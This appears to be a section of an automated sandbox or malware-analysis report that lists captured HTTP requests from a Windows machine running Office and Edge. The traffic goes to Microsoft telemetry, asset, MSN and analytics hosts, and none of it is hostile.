Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /b?rn=1731886073046&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=27290C15251A6C5C3AE6192F24BB6D0A&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1731886073046&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=eca44c2394654df2a0b53eefb05ac302&activityId=eca44c2394654df2a0b53eefb05ac302&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=27290C15251A6C5C3AE6192F24BB6D0A; _EDGE_S=F=1&SID=2BABC610B7B566E42D34D32AB67E67C7; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=27290C15251A6C5C3AE6192F24BB6D0A&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=4098b706a1494d7c9f41ca5c1ff58c2e HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=27290C15251A6C5C3AE6192F24BB6D0A; _EDGE_S=F=1&SID=2BABC610B7B566E42D34D32AB67E67C7; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msOP1.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /b2?rn=1731886073046&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=27290C15251A6C5C3AE6192F24BB6D0A&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=1C204b79c0fccdb184c4cab1731886074; XID=1C204b79c0fccdb184c4cab1731886074
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=27290C15251A6C5C3AE6192F24BB6D0A&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=53511292e4b64f4edaf5b8262c07e7a7 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=27290C15251A6C5C3AE6192F24BB6D0A; _EDGE_S=F=1&SID=2BABC610B7B566E42D34D32AB67E67C7; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1731886073046&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=eca44c2394654df2a0b53eefb05ac302&activityId=eca44c2394654df2a0b53eefb05ac302&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=EA84F7D7B0A6436DB8001482ACA3DB50&MUID=27290C15251A6C5C3AE6192F24BB6D0A HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=27290C15251A6C5C3AE6192F24BB6D0A; _EDGE_S=F=1&SID=2BABC610B7B566E42D34D32AB67E67C7; _EDGE_V=1; SM=T; _C_ETH=1
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msOOW.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msOZa.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msKEr.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
